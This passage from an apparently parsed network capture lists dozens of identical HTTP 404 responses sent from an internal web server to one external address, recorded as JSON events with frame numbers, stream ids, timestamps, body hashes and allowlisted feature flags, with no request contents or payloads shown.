          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2143,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256358.669531000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2145",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-1c5121ddc8f7c1d7b2bee8c0",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2146,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256359.004173000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2147",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-af0c794031273c6e9976b5a2",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2148,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256359.286078000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2150",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-f21e1be1efb2521b3014061a",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2151,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256359.567937000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2153",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-017f4f66fbc72f356362a7de",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2155,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256360.364510000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2157",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-63b7490403e67d74129fdb4c",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2158,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256361.973927000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2160",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-5f9581cbc444b7b142833f96",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2161,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256362.271419000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2163",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-e946bac115d2ba3fa8e96995",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2164,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256362.549328000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2166",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-769396faf6f077a868eae5fa",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2167,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256363.340714000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2169",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-f5ec0c3962bc5bc54cb04426",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2170,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256363.618622000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2172",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-855b3dd13909122f8e6c1ad9",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2173,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256365.656231000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2175",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-75cc5306fe437fb370ebf696",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2176,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256366.452438000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2178",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-178cbf70455f0c7a541cdeb9",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2179,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256367.656239000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2181",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 55013,
          "event_id": "evt-b02b527305e7634724d1235f",
          "src_port": 80,
          "tcp_stream": 71,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2182,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256367.935310000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2190",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-70e81eecaf0bf80064e48ed5",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2192,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256373.478203000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2194",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-19514af29d5dba01841a3da3",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2195,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256373.744732000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2197",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-fd85f0dcee22ad6ef8b347e9",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2198,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256376.037080000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2200",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-29893f5c3056e9447615b5a3",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2201,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256377.289474000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2203",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-296712d1ea3899f647d0ae56",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2204,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256377.557262000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2206",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-7e65872b4832984392130931",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2207,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256377.826402000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2209",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-83148c6f11bd8d7404f482a6",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2210,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256378.086583000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2212",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-da40bb59f4ba84a8da289030",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2213,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256379.085297000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2215",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-eec30aae66d742836ca2cb05",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2216,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256379.375966000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2218",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-b69a9beef286644999565a4c",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2219,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256379.692658000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2221",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-bc50902dbb2f1c11b6e227e1",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2222,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256380.119129000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2225",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-91e2db9dfb78ebf38d7b56ee",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2226,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256380.798041000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2228",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-9ef81e9158b19f98b80c92dc",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2229,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256382.526737000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2231",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-501fea062816175a4c41f4ca",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2232,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256383.740227000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2234",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-079ba674427f2dd7bade21e4",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2235,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256384.100971000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2237",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-33b4ff87b60c0a5eaf12eb08",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2238,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256385.427476000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2240",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-5408fa5a414edee610c92d99",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2241,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256385.870543000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2243",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-56b4a4acaf9123d51b9a0649",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2244,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256388.750219000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2246",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-7bae28fe258ae15d0caf15c7",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2247,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256389.594681000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2249",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-ceedbb40774d529166942573",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2250,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256389.868647000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2252",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-f29a028ecbe896411f2adef0",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2253,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256390.858842000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2255",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-7f370feb8d35ae6e98a54a32",
          "src_port": 80,
          "tcp_stream": 72,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 2256,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577256391.118374000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "2258",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58705,
          "event_id": "evt-e58c886e2bbfa90ab369c9a6",
          "src_port": 80,
          "tcp_stream": 72,
